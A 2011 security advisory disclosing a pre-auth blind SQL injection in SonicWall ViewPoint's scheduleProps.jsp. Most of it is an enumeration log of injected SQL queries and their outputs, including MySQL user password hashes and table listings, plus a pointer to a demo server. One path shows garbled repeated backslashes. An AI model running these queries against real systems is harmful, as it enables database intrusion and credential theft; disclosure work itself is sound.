Title: ====== SonicWall Viewpoint v6.0 SP2 - Blind SQL Injection Vulnerability Date: ===== 2011-10-02 References: =========== http://www.vulnerability-lab.com/get_content.php?id=196 VL-ID: ===== 196 Introduction: ============= SonicWALL® ViewPoint™ ist ein benutzerfreundliches webbasiertes Reporting-Tool, das die Sicherheitsprodukte und -dienste von SonicWALL vollständig unterstützt und erweitert. Es kann flexibel als Software oder virtuelle Appliance implementiert werden. Umfassende Reporting-Funktionen geben Administratoren einen unmittelbaren Einblick in den Zustand, die Leistung und die Sicherheit ihres Netzwerks. Mithilfe der anpassbaren Übersichtsanzeige und einer Vielzahl von Verlaufsberichten unterstützt SonicWALL ViewPoint Unternehmen aller Größen dabei, Netzwerknutzung und Sicherheitsaktivitäten zu überwachen und die Webnutzung anzuzeigen. (Copy of the Vendor Homepage: http://www.sonicwall.com/de/Centralized_Management_and_Reporting.html) Abstract: ========= Vulnerability-Lab Team discovered a remote exploitable blind sql injection vulnerability on Sonicwalls Viewpoint v6.0 SP2. Report-Timeline: ================ 2011-06-16: Vendor Notification 2011-09-21: Vendor Response/Feedback 2011-10-01: Vendor Fix/Patch 2011-10-02: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== SonicWall Product: ViewPoint Application v6.0 SP2 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A remote sql injection vulnerability is detected on the famous Sonicwall Viewpoint Application v6.x. The vulnerability allows an attacker to inject/execute (pre-auth) own sql statements. The successfully exploitation of the vulnerability can lead to unauthorized database access. Vulnerable Modules(SQL): [+] Schedule Reports (pre auth) Pictures: ../sql1.png ../sql2.png Example URL: https://gms.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID= --- SQL Log --- select @@version = 5.0.83-enterprise-nt select user() = vpuser@localhost select @@datadir = C:\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\GMSVP\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\MySQL\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\data\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ SELECT count(schema_name) FROM information_schema.schemata = 43 SELECT schema_name FROM information_schema.schemata limit 0,1 = information_schema SELECT schema_name FROM information_schema.schemata limit 1,1 = mysql SELECT schema_name FROM information_schema.schemata limit 2,1 = rawsyslogdb_20090905 SELECT schema_name FROM information_schema.schemata limit 3,1 = rawsyslogdb_20090906 SELECT schema_name FROM information_schema.schemata limit 4,1 = rawsyslogdb_20090907 SELECT schema_name FROM information_schema.schemata limit 10,1 = rawsyslogdb_20100223 SELECT schema_name FROM information_schema.schemata limit 20,1 = rawsyslogdb_20100305 SELECT schema_name FROM information_schema.schemata limit 30,1 = rawsyslogdb_20100315 SELECT schema_name FROM information_schema.schemata limit 37,1 = rawsyslogdb_20100322 SELECT schema_name FROM information_schema.schemata limit 39,1 = rawsyslogdb_20100324 SELECT schema_name FROM information_schema.schemata limit 40,1 = sgmsdb SELECT schema_name FROM information_schema.schemata limit 41,1 = sgmsdb_archive SELECT schema_name FROM information_schema.schemata limit 42,1 = test +----------------------+ | Databases | +----------------------+ | mysql | | rawsyslogdb_20090905 | | rawsyslogdb_20090906 | | rawsyslogdb_20090907 | | rawsyslogdb_20090926 | | rawsyslogdb_20090927 | | rawsyslogdb_20090928 | | rawsyslogdb_20090929 | | rawsyslogdb_20090930 | | rawsyslogdb_20100225 | | rawsyslogdb_20100226 | | rawsyslogdb_20100227 | | rawsyslogdb_20100228 | | rawsyslogdb_20100301 | | rawsyslogdb_20100302 | | rawsyslogdb_20100303 | | rawsyslogdb_20100304 | | rawsyslogdb_20100305 | | rawsyslogdb_20100306 | | rawsyslogdb_20100307 | | rawsyslogdb_20100308 | | rawsyslogdb_20100309 | | rawsyslogdb_20100310 | | rawsyslogdb_20100311 | | rawsyslogdb_20100312 | | rawsyslogdb_20100313 | | rawsyslogdb_20100314 | | rawsyslogdb_20100315 | | rawsyslogdb_20100316 | | rawsyslogdb_20100317 | | rawsyslogdb_20100318 | | rawsyslogdb_20100319 | | rawsyslogdb_20100320 | | rawsyslogdb_20100321 | | rawsyslogdb_20100322 | | rawsyslogdb_20100323 | | rawsyslogdb_20100324 | | rawsyslogdb_20100325 | | rawsyslogdb_20100326 | | sgmsdb | | sgmsdb_archive | | test | +----------------------+ SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 0,1 = localhost:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 1,1 = 127.0.0.1:root: SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 2,1 = %:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 3,1 = localhost:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 4,1 = %:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 Database: sgmsdb [324 tables] +--------------------------------+ | ac_categories | | ac_desc | | ac_enum | | ac_models | | ac_nodes | | activation_codes | | alert_ui_details | | alert_ui_screens | | alertcontents | | alertdstschedmappings | | alerts | | alerttypes | | appliances | | archive_tables | | as_categories | | aspyware_signatures | | auth_servers | | bkp_reporting_dependent_tables | | central_gateway | | csm_categories | | csm_default_appfilter_ports | | csm_signatures | | dao_archive_tables | | dash_page | | dash_page_comp | | default_rss_feeds | | diag_snapshots | | domains | | ec_rule_args | | ec_rule_argvals | | ec_rule_groups | | ec_rule_stmts | | ec_rules | | firmware_versions | | firmwareimagetbl | | fw_dea_unit_data | | fw_dea_unit_keys | | fwdyndata | | gav_signatures | | gmsvpinstances | | hm_appliance_config | | hm_httpclient_config | | hm_record | | hm_recording | | hm_service_config | | hm_template | | impl_info | | ips_categories | | log_custom_settings_tbl | | logs | | logs_msg_autosuggest | | mgmt_dea_services | | mgmt_dea_xfrs | | mgmt_feature | | mgmt_fw_filter | | mgmt_fw_filter_data | | mgmt_fw_filter_perms | | mgmt_inh_dep_screens_view | | mgmt_misc_scrn_params | | mon_emailalertschedule | | mon_tunnel_status | | monactions | | moncategories | | mondevices | | monitors | | monpings | | monseverity | | monsnmpacquiredata | | monsnmpdata | | monsnmpinfo | | monsnmpmibinfo | | monsnmprealtimemonitorelements | | monsnmprealtimemonitors | | monsnmprtmtemplateelements | | monsnmprtmtemplates | | monthresholdelements | | monthresholds | | non_allowed_devices | | olh_groupname | | params | | params1 | | params2 | | params3 | | params_group_info | | params_info | | perf_db_backup | | perf_summarizer_thread | | perf_syslog_collector | | perf_syslog_files | | perf_viewpoint_summarizer | | pkiadmin | | pkiusercert | | rc_cert | | rc_sa | | rc_snmp | | rc_syslog | | report_module_perf_metrics | | schedulegroups | | scheduleripc | | schedulers | | schedules | | schedulesmapping | | screens | | scrn_perms | | settings | | severities | | sgms_config | | sgms_sessions | | sgms_views | | signature_status | | signatureimagetbl | | signatures | | sonicpoint_country_tbl | | sonicpoint_domain_tbl | | static_devices | | sub_policy | | summarizer_modules | | summarizers | | sw_0017c51036b8 | | sw_addr_groups | | sw_addr_objects | | sw_allowed_urls | | sw_as_product_settings | | sw_as_signature_settings | | sw_aspywareexcludelist | | sw_av_ext | | sw_av_ips | | sw_cert_blacklist | | sw_cert_whitelist | | sw_certs | | sw_cfacategories | | sw_cfacustomcategories | | sw_cfaexcluderanges | | sw_cfafiletypes | | sw_cfakeywords | | sw_cfapolicies | | sw_cfaurls | | sw_cfs_enterprise | | sw_cfsexcluderanges | | sw_consent_ip_addresses | | sw_csm_appfilter_ports | | sw_ddns | | sw_dhcp_dynamic_ranges | | sw_dhcp_grp_members | | sw_dhcp_opt_grps | | sw_dhcp_options | | sw_dhcp_static_ranges | | sw_dmz | | sw_forbidden_urls | | sw_fw_access_rules | | sw_gavexcluderanges | | sw_grp_schedules | | sw_guest_profiles | | sw_ha_full_monitoring | | sw_ha_monitoring | | sw_idpexcluderanges | | sw_ids_aps | | sw_ind_alert_data | | sw_ind_history | | sw_ind_hm_params | | sw_ind_ipssiglist | | sw_ind_migration1 | | sw_ind_migration2 | | sw_ind_params4 | | sw_ind_svportalsettings | | sw_info | | sw_interfaces | | sw_intranet | | sw_ip_helper_apps | | sw_iphelper | | sw_ips_categories | | sw_knownservices | | sw_knownservices_info | | sw_lans | | sw_lic_nodes | | sw_local_groups | | sw_local_users | | sw_local_usr_grp_obj_relation | | sw_meta_cfs_categories | | sw_monitor_objects | | sw_nat_objects | | sw_ntp_servers | | sw_one_to_one_nat | | sw_profiles | | sw_qos_mapping | | sw_rbl_domains | | sw_rip | | sw_route_objects | | sw_routes | | sw_rules | | sw_sas | | sw_schedules | | sw_service_groups | | sw_service_objects | | sw_services | | sw_signatures | | sw_sonicpoints | | sw_sonicpoints_n | | sw_sso_auth_agents | | sw_static_arp | | sw_switch_ports | | sw_syslog_server | | sw_trusted_urls | | sw_ulahttpurls | | sw_url_keywords | | sw_user_group_trees | | sw_user_trees | | sw_useraddressranges | | sw_users | | sw_userservices | | sw_vap | | sw_vap_groups | | sw_vpnaddressranges | | sw_vpnservices | | sw_wepclient | | sw_wgs_ipdeny | | sw_wgs_keywords | | sw_wgs_profiles | | sw_wifiservices | | sw_wirelessguest | | sw_wirelessmac | | sw_zones | | tasks | | thresholdelements | | thresholds | | translation_tbl | | trapmgrs | | unit_level_app_settings | | unit_perms | | unituptimestats | | used_accodes | | userpasswords | | users | | users_motd | | version | | vp_alert_data | | vp_appl_dts | | vp_appl_summarizer_settings | | vp_by_category_summary | | vp_by_policy_summary | | vp_by_site_detail | | vp_by_site_summary | | vp_categories | | vp_connection_details | | vp_connection_events | | vp_cstm_configs | | vp_cstm_fields | | vp_cstm_rules | | vp_cstm_templates | | vp_cstm_templates_fields | | vp_cstm_templates_rules | | vp_dest_hosts | | vp_dn_dest_library | | vp_dn_src_library | | vp_email_details | | vp_email_logos | | vp_email_profiles | | vp_email_receivers | | vp_email_screens | | vp_email_summary | | vp_firewall_reports | | vp_firewall_totals | | vp_firewalls | | vp_host_summary | | vp_hosts_for_auto_suggest | | vp_hourly_summary | | vp_login_summary | | vp_report_dates | | vp_reports | | vp_service_details | | vp_service_summary | | vp_service_type | | vp_services | | vp_site_detail | | vp_src_hosts | | vp_top_detail | | vp_top_report_summary | | vp_top_summary | | vp_total_types | | vp_unit_summarizer_settings | | vp_users | | vp_websites_filter | | vp_webusers_filter | | vpappfw_connection_policies | | vpappfw_daily_totals | | vpappfw_events | | vpappfw_hourly_totals | | vpappfw_policies | | vpcdp_agent_daily_status | | vpcdp_agents | | vpcdp_appl_daily_status | | vpcdp_appl_dts | | vpcdp_appliances | | vpcdp_daily_details | | vpcdp_daily_summary | | vpcdp_filetypes | | vpcdp_hourly_summary | | vpecm_agent_service | | vpecm_agents | | vpecm_appl_dts | | vpecm_daily_totals | | vpecm_hazards | | vpecm_service_types | | vpecm_summary | | vpecm_top_hazards | | vpssl_appl_dts | | vpssl_daily_performance | | vpssl_daily_totals | | vpssl_details | | vpssl_dst_hosts | | vpssl_events | | vpssl_hourly_performance | | vpssl_hourly_totals | | vpssl_login_events | | vpssl_login_types | | vpssl_resources | | vpssl_src_hosts | | vpssl_total_types | | vpssl_users | | wireless_country_list | | ws_configs | | ws_distributed_appliances | | ws_distributed_instances | | ws_services | +--------------------------------+ Database: sgmsdb Table: vp_users [5 columns] +----------------+--------------+ | Column | Type | +----------------+--------------+ | domain | varchar(250) | | id | bigint(20) | | last_updated | timestamp | | last_updatedby | varchar(35) | | name | varchar(250) | +----------------+--------------+ Database: sgmsdb Table: userpasswords [5 columns] +----------------+-------------+ | Column | Type | +----------------+-------------+ | domainID | varchar(32) | | ID | varchar(64) | | last_updated | timestamp | | LAST_UPDATEDBY | char(32) | | PASSWORD | varchar(64) | +----------------+-------------+ Database: sgmsdb Table: users [74 columns] +--------------------------------+--------------+ | Column | Type | +--------------------------------+--------------+ | active | varchar(2) | | activePage | varchar(32) | | activeTill | datetime | | APPSELSHOW | varchar(1) | | AUDIO | varchar(3) | | authServerID | varchar(32) | | autoDelete | varchar(2) | | COMMENTS | varchar(255) | | comments_enabled | smallint(5) | | controls | varchar(254) | | CREATION_DATE | timestamp | | dashboardBarAutoHideStatus | varchar(32) | | datePwdChanged | datetime | | DISABLED | smallint(5) | | DOCKINGVALUE | varchar(3) | | domainID | varchar(32) | | doNotShowSMTPParamsWarnilg | | | dst_interface | varchar(10) | | EMAIL1 | varchar(64) | | EMAIL2 | varchar(64) | | enable_session_popup | smallint(5) | | FAX | varchar(24) | | FNAME | varchar(32) | | hmRecordBarAutoHideStatus | smallint(1) | | ID | varchar(32) | | IDLE_TIMEOUT | smallint(5) | | issuperadmin | smallint(1) | | itemsPerPage | varchar(3) | | LAST_LOGIN | datetime | | last_updated | datetime | | last_updatedby | char(32) | | liveMonitorAutoScrollStatus | varchar(32) | | liveMonitorBarAutoHideStatus | varchar(32) | | liveMonitorRefreshInterval | varchar(32) | | LNAME | varchar(32) | | lockoutCounter | varchar(2) | | MNAME | varchar(32) | | monEnableAutoRefresh | varchar(4) | | monMinDashSeverity | varchar(32) | | monUIAutoRefreshInterval | varchar(16) | | monUIStatusSelection | varchar(64) | | monUITableColCount | varchar(24) | | monUITableColor | varchar(24) | | monUITableRowHeight | varchar(24) | | monViewType | varchar(4) | | MSGS_PER_SCREEN | smallint(5) | | needPwdChange | varchar(2) | | PAGER | varchar(24) | | PASSWORD | char(32) | | PHONE | varchar(24) | | REPORT_BIDIRECTIONAL | smallint(5) | | REPORT_END_HOUR | varchar(8) | | REPORT_NUM_ENTRIES_PER_ITEM | varchar(8) | | REPORT_NUM_ITEMS | varchar(8) | | REPORT_NUM_SITES | varchar(8) | | REPORT_NUM_USERS | varchar(8) | | REPORT_ROWS_PER_SCREEN | smallint(5) | | REPORT_SITES_BY_USERS | varchar(8) | | REPORT_SITES_LIST | varchar(256) | | REPORT_START_HOUR | varchar(8) | | REPORT_USERS_LIST | varchar(256) | | REPORT_USERS_WHOLE_NAMEIP_SRCH | smallint(5) | | REPORT_VIEW_TYPE | smallint(5) | | SCHEDS_PER_SCREEN | smallint(5) | | scheduleid | varchar(32) | | screenDefaultChartTypes | varchar(50) | | smtpParamWarningLastShowTime | datetime | | src_interface | varchar(10) | | STOCK | smallint(5) | | TASKS_PER_SCREEN | smallint(5) | | USER_TYPE_ID | varchar(32) | | usertypeType | varchar(2) | | VIEW_ID | varchar(32) | | vp_controls | varchar(254) | +--------------------------------+--------------+ Note: The file is not just located on viewpoint ;) Proof of Concept: ================= The sql vulnerability can be exploited by remote attackers(pre-auth). For demonstration or reproduce ... Server: http://viewpoint.demo.sonicwall.com Path: /sgms/reports/scheduledreports/configure/ File: scheduleProps.jsp Param: ?scheduleID=
SonicWall => [scheduleProps.jsp] - Remote SQL-Injection [PoC]